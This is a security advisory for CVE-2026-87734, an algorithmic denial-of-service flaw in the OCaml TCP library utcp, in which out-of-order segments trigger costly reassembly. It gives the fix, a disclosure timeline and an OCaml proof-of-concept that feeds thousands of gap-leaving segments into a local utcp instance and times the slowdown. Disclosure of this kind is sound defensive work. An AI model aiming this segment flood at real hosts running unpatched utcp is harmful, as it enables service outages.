PT-2026-88813 · Ocaml+1 · Utcp

CVE-2026-87734

·

Published

2026-07-27

·

Updated

2026-09-09

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.
This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.

Solution

Instead of a flat list, a red-black binary tree is used for the reassembly queue.

Reproduction

OCaml
let () = Mirage crypto rng unix.use default ()

let server ip = Ipaddr.(V4 (V4.of string exn "10.0.0.1"))
let client ip = Ipaddr.(V4 (V4.of string exn "10.0.0.2"))
let now = Mtime.of uint64 ns 0L
let to wire seg = Utcp.Segment.encode and checksum now ~src:client ip ~dst:server ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload len = 0) () =
 { Utcp.Segment.src port = 12345; dst port = 80; seq; ack; flag;
  push = false; window = 65535; options = []; payload; payload len }

let feed st s = Utcp.handle buf st now ~src:client ip ~dst:server ip (to wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill
  the gap at rcv nxt; return the CPU time spent *)
let cost n =
 let st = Utcp.start listen (Utcp.empty Fun.id "victim") 80 in
 let iss = Utcp.Sequence.of int32 1000l in
 let st, , outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
 let server iss = (match outs with [ ( , , s) ] -> s.Utcp.Segment.seq |  -> assert false) in
 let st, ,  = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server iss) ()) in
 let rcv nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server iss in
 let st = ref st in
 let t0 = Sys.time () in
 for i = 0 to n - 1 do
  let s = seg ~seq:(Utcp.Sequence.addi rcv nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload len:1 () in
  let st', ,  = feed !st s in
  st := st'
 done;
 Sys.time () -. t0

let () =
 let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
 Printf.printf "2000 one-byte out-of-order segments: %.3fs
" t1;
 Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)
" t2 (t2 /. t1);
 Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)
" t3 (t3 /. t2)

Timeline

  • June 25th 2026: report to ocaml/security-advisories
  • June 29th: acknowledgement of issue with several questions for the reporter
  • July 6th: answers from reporter, including a patch
  • July 26th: patch developed by library author
  • July 27th: release of utcp 0.0.6 and security advisory

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-87734
OSEC-2026-11

Affected Products

Utcp